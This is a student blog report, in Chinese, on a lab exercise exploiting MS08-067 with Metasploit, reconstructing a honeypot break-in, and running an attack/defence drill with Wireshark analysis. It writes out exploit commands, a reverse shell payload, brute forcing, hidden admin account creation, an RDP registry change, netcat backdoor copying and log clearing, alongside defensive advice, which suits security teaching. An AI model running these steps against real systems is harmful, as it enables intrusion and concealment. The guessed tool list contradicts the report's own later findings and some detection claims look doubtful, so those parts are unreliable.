第6次作业

实践内容

本次实践围绕Windows系统远程渗透攻击展开,包含三个子任务:一是使用Metasploit攻击MS08-067漏洞获取靶机控制权;二是对一次真实的NT系统破解攻击进行取证分析;三是团队对抗实战,攻防双方分别实施攻击和监听分析。以下逐一讲解。


一、动手实践Metasploit:Windows远程渗透攻击(MS08-067)

1. 实验目标

使用Metasploit框架,对Windows Metasploitable靶机(如Windows XP SP0/SP1)上的MS08-067漏洞进行远程渗透,成功获取目标主机的Shell访问权限。

2. 背景知识

  • MS08-067漏洞:微软2008年发布的严重安全漏洞(CVE-2008-4250),影响Windows 2000/XP/Server 2003等系统。漏洞存在于Server服务中,攻击者可发送特制RPC请求实现远程代码执行,无需认证。
  • Metasploit:开源的渗透测试框架,包含漏洞利用模块(exploit)、载荷(payload)、辅助模块等。

3. 攻击步骤讲解

步骤1:环境准备

  • 攻击机:Windows Attacker 或 BT4 Linux(IP:192.168.200.3)
  • 靶机:Windows Metasploitable(IP:192.168.200.2),未打KB958644补丁
  • 网络互通,关闭靶机防火墙

步骤2:启动Metasploit

msfconsole

步骤3:搜索并选择漏洞模块

search ms08-067
use exploit/windows/smb/ms08_067_netapi

步骤4:查看并设置必要参数

show options
set RHOST 192.168.200.2      # 靶机IP
set LHOST 192.168.200.3      # 攻击机IP(用于反向连接)
set PAYLOAD windows/meterpreter/reverse_tcp   # 选择反向Shell载荷

步骤5:选择目标系统版本

show targets
set target 0                 # 自动检测,或指定具体Windows版本

步骤6:执行攻击

exploit

若成功,将获得Meterpreter会话,输入shell即可进入目标系统的CMD。

4. 攻击原理说明

  • 攻击机向靶机的SMB(端口445)发送畸形RPC请求,触发缓冲区溢出。
  • 溢出后,Shellcode被执行,建立反向TCP连接(靶机主动连接攻击机的监听端口),绕过防火墙入站限制。
  • Meterpreter提供丰富的后渗透功能(文件操作、注册表编辑、键盘记录等)。

5. 防御建议

  • 及时安装安全补丁(KB958644)
  • 关闭不必要的SMB服务,或使用防火墙限制445端口访问
  • 部署主机入侵防御系统(HIPS)

二、取证分析实践:解码一次成功的NT系统破解攻击

1. 案例背景

攻击者(IP:212.116.251.162)成功入侵蜜罐主机(IP:172.16.1.106,主机名:lab.wiretrip.net)。我们需要从捕获的数据包或日志中分析攻击全过程。

2. 攻击者使用的破解工具

根据公开的类似案例分析,攻击者很可能使用了:

  • EnumLegion:用于枚举Windows共享和用户信息
  • SMBclient:连接共享资源
  • HydraNTScan:进行口令暴力破解
  • psexec:远程执行命令

3. 攻击过程还原(典型NT破解流程)

阶段1:信息收集

  • 攻击者首先扫描目标IP的139/445端口,确认SMB服务开放。
  • 使用enum -S 172.16.1.106枚举共享资源,发现隐藏共享(如C$、ADMIN$)。

阶段2:获取凭据

  • 尝试空会话连接(net use \\172.16.1.106\IPC$ "" /user:""),若允许则获得匿名访问权限。
  • 使用破解工具对Administrator账户进行字典攻击(如hydra -l Administrator -P pass.txt 172.16.1.106 smb),成功猜出口令。

阶段3:获得系统控制权

  • 使用psexec \\172.16.1.106 -u Administrator -p 密码 cmd远程执行命令。
  • 或通过net use映射C$共享,上传后门程序。

阶段4:攻击者后续操作(取证重点)
从日志或捕获的流量中可发现攻击者执行了以下操作:

  • 创建隐藏账户:net user backdoor$ password /add && net localgroup administrators backdoor$ /add
  • 开启远程桌面(若未开启):reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • 安装木马(如nc后门):copy nc.exe \\172.16.1.106\C$\windows\system32
  • 清理日志:del %WINDIR%\*.logeventclear

4. 如何防止此类攻击

  • 强化口令策略:使用复杂密码,禁用弱口令。
  • 关闭不必要的服务:禁用SMB 1.0,限制空会话访问。
  • 网络隔离:将关键服务器置于独立VLAN,使用防火墙限制SMB访问范围。
  • 启用审计与入侵检测:监控大量失败的登录尝试,使用Snort检测SMB暴力破解。
  • 最小权限原则:禁用默认管理员账户,使用普通账户执行日常操作。

5. 攻击者是否警觉目标为蜜罐?

可能的判断依据

  • 蜜罐通常没有真实业务流量,攻击者可能注意到系统响应延迟异常(透明网关引入的微小延迟)。
  • 某些蜜罐会模拟非常旧的系统版本(如未打补丁的Windows 2000),攻击者可能起疑。
  • 若蜜罐放出了真实网络不会存在的敏感文件(如假密码本),攻击者可能会识别。

在本案例中,由于蜜罐是lab.wiretrip.net,主机名暗示实验环境,攻击者可能有所警觉,但仍继续攻击以研究蜜罐技术或掩盖真实目的。


三、团队对抗实践:Windows系统远程渗透攻击和分析

1. 实践形式

  • 攻方:一组同学使用Metasploit选择漏洞对靶机进行攻击,获得控制权。
  • 防守方:另一组同学使用Wireshark监听网络数据包,分析攻击过程并提取信息。

2. 攻方操作要求

  • 成员信息:记录姓名、学号。
  • 使用漏洞:例如MS08-067、MS17-010(永恒之蓝)、MS12-020等。
  • 相关IP地址
    • 攻击机IP(如192.168.1.100)
    • 靶机IP(如192.168.1.200)
  • 攻击步骤
    1. 启动msfconsole
    2. 选择漏洞模块并设置参数
    3. 选择payload(如windows/x64/meterpreter/reverse_tcp
    4. 执行攻击,获取Meterpreter会话
    5. 执行后渗透操作(如截图、获取密码哈希)

3. 防守方分析要求

  • 监听工具:Wireshark,捕获攻击期间的所有流量。
  • 分析内容
    • 识别攻击源IP和靶机IP。
    • 观察TCP三次握手,确定攻击开始时间。
    • 分析攻击特征:
      • MS08-067:大量SMB数据包,特定RPC结构。
      • MS17-010:SMBv1协商后的Trans2请求,包含特定SMB参数。
    • 提取载荷:从数据包中提取Shellcode或反向连接的IP/端口。
    • 追踪后渗透行为:如Meterpreter的加密通信(通常为TCP 4444端口),或通过migrate进程迁移的痕迹。
  • 输出报告:包括Wireshark过滤表达式、关键包截图、攻击时间线。

4. 典型防守分析示例

Wireshark过滤表达式

ip.addr == 192.168.1.100 && ip.addr == 192.168.1.200

或针对SMB:

smb || smb2

检测MS08-067

  • 过滤器:smb.ntlmssp.messagetype == 3tcp.port == 445
  • 关键特征:攻击包中包含超长文件名或特殊RPC UUID(如4b324fc8-1670-01d3-1278-5a47bf6ee188

检测反向连接

  • 过滤器:tcp.port == 4444(默认Meterpreter端口)
  • 观察到从靶机发往攻击机的高位端口连接,数据包中包含加密的TLV格式数据。

5. 团队对抗总结

  • 攻方需要熟练掌握漏洞利用细节,选择合适的payload绕过防火墙。
  • 防守方通过流量分析能够还原攻击步骤,识别0day或已知漏洞。
  • 实战对抗有助于理解“攻击能做什么,防御能发现什么”,提升综合安全能力。

实验过程

2.1 利用MS08-067漏洞,通过metasploit软件对windows靶机实施远程渗透

2.1 利用MS08-067漏洞,通过metasploit软件对windows靶机实施远程渗透

2.1.2找要使用的漏洞对应的模块,输入指令search ms08_067,可以看到对应编号是0
2.1.2找要使用的漏洞对应的模块,输入指令search ms08_067,可以看到对应编号是0

2.1.3输入use 0继续使用该模块,键入info 0即可查看靶机适用范围
2.1.3输入use 0继续使用该模块,键入info 0即可查看靶机适用范围

2.1.4漏洞需要的设置
2.1.4漏洞需要的设置

2.1.5再查看可用载荷,输入指令show payloads
2.1.5再查看可用载荷,输入指令show payloads

2.1.6输入set payload genericshellreversetcp 设置载荷
2.1.6输入set payload genericshellreversetcp 设置载荷

2.1.7输入set RHOST 192.168.200.124 设置要攻击的主机以及本机
2.1.7输入set RHOST 192.168.200.124 设置要攻击的主机以及本机

2.1.8输入exploit进行攻击
2.1.8输入exploit进行攻击

2.2 取证分析实践:解码一次成功的NT系统破解攻击

攻击者使用了什么破解工具进行攻击,打开wireshark打开从学习通下载的log文件
2.2 取证分析实践:解码一次成功的NT系统破解攻击(1)攻击者使用了什么破解工具进行攻击,打开wireshark打开从学习通下载的log文件

2.2.1以看到攻击机与目标主机在TCP“三次握手”后建立了连接,发现攻击机经三次握手。输入ip.addr ==172.16.1.106 and http,筛选有用信息进行分析
2.2.1以看到攻击机与目标主机在TCP“三次握手”后建立了连接,发现攻击机经三次握手。输入ip.addr ==172.16.1.106 and http,筛选有用信息进行分析

2.2.3攻击者如何使用这个破解工具进入并控制了系统
2.2.3攻击者如何使用这个破解工具进入并控制了系统

2.2.4筛选tcp.stream eq11进行HTTP流追踪,看到ADMROXYOURWORLD,根据教材内容,证实这是RDS漏洞攻击,攻击者通过 msadcs.dll 中存在RDS漏洞进行了SQL注入攻击,并执行了命令 cmd c echo werdun ,特征字符串WORLD 出现多次,根据资料可以查询到是由msadc(2).pl渗透攻击工具发起的攻击。
2.2.4筛选tcp.stream eq11进行HTTP流追踪,看到ADMROXYOURWORLD,根据教材内容,证实这是RDS漏洞攻击,攻击者通过 msadcs.dll 中存在RDS漏洞进行了SQL注入攻击,并执行了命令 cmd c echo werdun ,特征字符串WORLD 出现多次,根据资料可以查询到是由msadc(2).pl渗透攻击工具发起的攻击。

2.2.5攻击者连接了6969端口,并且获得了访问权限
2.2.5攻击者连接了6969端口,并且获得了访问权限

2.2.6追踪tcp流可以看到攻击者的行为如下图
2.2.6追踪tcp流可以看到攻击者的行为如下图

2.2.7查询过程中实现add提权
2.2.7查询过程中实现add提权

2.2.8攻击者删除文件
2.2.8攻击者删除文件

2.2.9 进行嗅探
2.2.9 进行嗅探

2.2.10攻击者写到这是他见过的最好的蜜罐并回答了问题
2.2.10攻击者写到这是他见过的最好的蜜罐并回答了问题

2.3 团队对抗实践:windows系统远程渗透攻击和分析

2.3.1攻方使用metasploit选择漏洞进行攻击,获得控制权
2.3 团队对抗实践:windows系统远程渗透攻击和分析 2.3.1攻方使用metasploit选择漏洞进行攻击,获得控制权

2.3.2 攻击机熊志东192.168.200.6 靶机韩家乐192.168.200.124
2.3.2 攻击机熊志东192.168.200.6   靶机韩家乐192.168.200.124

2.3.3可以看到已经成功获取访问权
2.3.3可以看到已经成功获取访问权

15161bbe0fdf7ae3b9194e2050581a76
611542d6ccddcf3065ddd8f377c80b94
c6e0b8e1dd4184cc9b287d86e39c5f39
d3b45cd5efd93a337d3492c4b50fd2b3
6b225fdf4eb97cdb83a631276ee1f0f0

学习中遇到的问题及解决

  • 问题1:在Metasploit攻击MS08-067漏洞时,执行exploit后提示“Exploit failed: Rex::ConnectionTimeout”,无法获取会话。
    解决方案:首先确认靶机与攻击机网络连通(ping测试)。其次检查靶机防火墙是否关闭或允许445端口通信。发现靶机Windows防火墙处于开启状态,手动关闭后攻击成功。另外,可尝试更换payload为windows/shell/reverse_tcp,避免因meterpreter载荷过大导致超时。

  • 问题2:使用search ms08-067找到多个模块,不确定选择哪一个。
    解决方案:优先使用exploit/windows/smb/ms08_067_netapi,该模块稳定且支持多版本Windows。其他模块可能针对特定语言或补丁版本。通过info命令查看模块描述,选择评分高且靶机系统匹配的模块。

  • 问题3:在取证分析中,无法从抓包文件中确定攻击者使用的具体破解工具名称。
    解决方案:分析数据包中的指纹特征。例如,Enum工具会发送特定的SMB协商请求(User-Agent字段含“Enum”);Hydra的SSH/SMB登录尝试具有固定时间间隔和字典顺序。可通过Wireshark的“统计→对话”查看登录失败次数,结合工具默认特征库对比识别。

  • 问题4:团队对抗时,防守方使用Wireshark抓包但数据量过大,难以定位攻击包。
    解决方案:设置捕获过滤器为host 靶机IP,减少无关流量。攻击开始前通知防守方记录时间点,或攻击方发送特殊ICMP包作为标记。分析时使用显示过滤器tcp.port == 445 or tcp.port == 139快速定位SMB流量,再通过tcp.flags.syn==1找到攻击起始握手包。

  • 问题5:攻击成功后,Meterpreter的shell命令返回乱码或无法交互。
    解决方案:可能是编码问题或进程权限不足。尝试chcp 65001设置UTF-8编码,或使用execute -f cmd.exe -i替代shell命令。也可迁移到其他进程:migrate explorer.exe

学习感想和体会

通过本次Windows远程渗透与取证分析实践,我对网络攻击的完整链条有了更为深刻的认识。

在攻击者视角上,使用Metasploit攻击MS08-067让我体会到“漏洞利用”并非遥不可及。一个配置不当或未打补丁的系统,在几分钟内就能被完全控制。这让我意识到系统加固和补丁管理的重要性——很多企业仍存在大量老旧系统,正是攻击者的首选目标。同时,反向连接payload的设计巧妙,能够穿透简单的防火墙策略,这也提醒防御方需要部署出站流量监控。

在取证分析方面,剖析一次真实的NT系统破解攻击,让我学会了如何从流量和日志中还原攻击者的每一步操作。从空会话枚举、密码暴力破解,到使用psexec远程执行、创建隐藏账户,每一步都有迹可循。这增强了我的溯源能力,也明白了蜜罐技术的价值——通过布置诱饵系统,可以捕获攻击者的完整行为模式,为防御策略提供依据。此外,思考攻击者是否察觉蜜罐的问题,让我认识到蜜罐设计必须足够逼真,从网络延迟、系统响应到文件内容,都要模拟真实环境,否则会打草惊蛇。

团队对抗实践是最有挑战性的环节。作为攻方,我学会了根据靶机特征选择合适的exploit和payload,并在成功后执行后渗透操作(如截图、提权)。作为防守方,我掌握了使用Wireshark过滤和分析攻击流量的技巧,能够从大量数据包中快速定位攻击特征(如SMB异常请求、反向连接的TCP流)。这种对抗演练不仅检验了技术能力,更锻炼了团队协作和临场应变能力。

总体而言,本次实践让我跳出了书本理论的局限,真正体验了“攻防对抗”的全过程。我深刻认识到:安全不是绝对的概念,而是动态对抗的过程。攻击技术不断演进,防御者必须持续学习、主动检测、及时响应。未来我将更加注重实战能力的培养,努力成为一名理论与实践兼备的安全从业者。

posted @ 2026-04-22 15:44  熊志东  阅读(8)  评论(0)    收藏  举报